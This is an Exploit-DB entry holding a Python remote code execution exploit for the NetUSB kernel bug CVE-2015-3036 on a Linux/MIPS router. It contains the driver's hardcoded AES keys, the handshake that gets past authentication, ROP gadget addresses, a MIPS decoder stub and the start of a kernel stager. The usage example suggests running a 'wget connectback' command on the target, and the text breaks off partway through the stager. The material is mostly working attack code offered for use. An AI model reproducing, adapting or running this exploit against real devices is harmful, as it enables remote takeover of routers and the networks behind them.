Exploit-DB #38454
Description: Linux/MIPS Kernel 2.6.36 - 'NetUSB' Remote Code Execution
Type: remote
Platform: multiple
Date: 2015-10-14
Author: blasty

Exploit:
#!/usr/bin/env python
# Source: http://haxx.in/blasty-vs-netusb.py
#
# CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS) 
# ===========================================================================
# This is a weaponized exploit for the NetUSB kernel vulnerability 
# discovered by SEC Consult Vulnerability Lab. [1]
# 
# I don't like lazy vendors, I've seen some DoS PoC's floating around
# for this bug.. and it's been almost five(!) months. So lets kick it up 
# a notch with an actual proof of concept that yields code exec.
#
# So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)
# 
# Smash stack, ROP, decode, stage, spawn userland process. woo!
#
# Currently this is weaponized for one target device (the one I own, I was
# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in 
# the default firmware image, oooops. ;-D).
#
# This python script is horrible, but its not about the glue, its about
# the tech contained therein. Some things *may* be (intentionally?) botched..
# lets see if "the community" cares enough to develop this any further,
# I need to move on with life. ;-D
# 
# Shoutouts to all my boys & girls around the world, you know who you are!
#
# Peace,
# -- blasty <peter@haxx.in> // 20151013
#
# References:
# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt
# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
#

import os, sys, struct, socket, time

from Crypto.Cipher import AES

def u32(v):
	return struct.pack("<L", v)

def banner():
	print ""
	print "## NetUSB (CVE-2015-3036) remote code execution exploit"
	print "## by blasty <peter@haxx.in>"
	print ""

def usage(prog):
	print "usage   : %s <host> <port> <cmd>" % (prog)
	print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog)
	print ""

banner()

if len(sys.argv) != 4:
	usage(sys.argv[0])
	exit(0)


cmd = sys.argv[3]

# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro)
targets = [
	{
		"name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)",
		"kernel_base" : 0x80001000,

		# adjust to offset used in 'load_addr_and_jump' gadget
		# should be some big immediate to avoid NUL bytes
		"load_addr_offset" : 4156,
		"gadgets" : {
			# 8c42103c  lw      v0,4156(v0)
			# 0040f809  jalr    v0
			# 00000000  nop
			'load_addr_and_jump' : 0x1f548,

			# 8fa20010  lw      v0,16(sp)
			# 8fbf001c  lw      ra,28(sp)
			# 03e00008  jr      ra
			# 27bd0020  addiu   sp,sp,32
			'load_v0_and_ra' : 0x34bbc,

			# 27b10010  addiu   s1,sp,16
			# 00602021  move    a0,v1
			# 0040f809  jalr    v0
			# 02202821  move    a1,s1
			'move_sp_plus16_to_s1' : 0x63570,

			# 0220f809  jalr    s1
			# 00000000  nop
			'jalr_s1' : 0x63570,

			'a_r4k_blast_dcache' : 0x6d4678,
			'kmalloc' : 0xb110c,
			'ks_recv' : 0xc145e270,
			'call_usermodehelper_setup' : 0x5b91c,
			'call_usermodehelper_exec' :  0x5bb20
		}
	}
]

# im lazy, hardcoded to use the only avail. target for now
# hey, at least I made it somewhat easy to easily add new targets
target = targets[0]

# hullo there.
hello = "\x56\x03"

# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes
# people, this is not how you implement auth. lol.
aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex')
aesk1 = "A[PII_REDACTED]CFE44EC468248064DE66C".decode('hex')

key = aesk1
IV = "\x00"*16
mode = AES.MODE_CBC
aes = AES.new(key, mode, IV=IV)

aesk0_d = aes.decrypt(aesk0)

aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)

s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))

print "[>] sending HELLO pkt"
s.send(hello)
time.sleep(0.2)

verify_data = "\xaa"*16

print "[>] sending verify data"
s.send(verify_data)
time.sleep(0.2)

print "[>] reading response"
data = s.recv(0x200)

print "[!] got %d bytes .." % len(data)
print "[>] data: " + data.encode('hex')

pkt = aes2.decrypt(data)

print "[>] decr: " + pkt.encode("hex")

if pkt[0:16] != "\xaa"*16:
	print "[!] error: decrypted rnd data mismatch :("
	exit(-1)

rnd = data[16:]

aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
pkt_c = aes2.encrypt(rnd)

print "[>] sending back crypted random data"
s.send(pkt_c)

# Once upon a time.. 
d = "A"

# hardcoded decoder_key, this one is 'safe' for the current stager
decoder_key = 0x1337babf

# NUL-free mips code which decodes the next stage,
# flushes the d-cache, and branches there.
# loosely inspired by some shit Julien Tinnes once wrote.
decoder_stub = [
	0x0320e821, # move	sp,t9
	0x27a90168, # addiu	t1,sp,360
	0x2529fef0, # addiu	t1,t1,-272
	0x240afffb, # li	t2,-5
	0x01405027, # nor	t2,t2,zero
	0x214bfffc, # addi	t3,t2,-4
	0x240cff87, # li	t4,-121
	0x01806027,	# nor	t4,t4,zero
	0x3c0d0000,	# [8] lui	t5, xorkey@hi
	0x35ad0000, # [9] ori	t5,t5, xorkey@lo
	0x8d28fffc, # lw	t0,-4(t1)
	0x010d7026, # xor	t6,t0,t5
	0xad2efffc, # sw	t6,-4(t1)
	0x258cfffc, # addiu	t4,t4,-4
	0x140cfffb, # bne	zero,t4,0x28
	0x012a4820, # add	t1,t1,t2
	0x3c190000, # [16] lui	t9, (a_r4k_blast_dcache-0x110)@hi
	0x37390000, # [17] ori	t9,t9,(a_r4k_blast_dcache-0x110)@lo
	0x8f390110, # lw	t9,272(t9)
	0x0320f809, # jalr	t9
	0x3c181234, # lui	t8,0x1234
]

# patch xorkey into decoder stub
decoder_stub[8] = decoder_stub[8] | (decoder_key >> 16)
decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff)

r4k_blast_dcache = target['kernel_base']
r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']

# patch the r4k_blast_dcache address in decoder stub
decoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16)
decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)

# pad it out
d += "A"*(233-len(d))

# kernel payload stager
kernel_stager = [
	0x27bdffe0, # addiu	sp,sp,-32
	0x24041000, # li	a0,4096
	0x24050000, # li	a1,0
	0x3c190000, # [3] lui	t9,kmalloc@hi
	0x37390000,	# [4] ori	t9,t9,kmalloc@l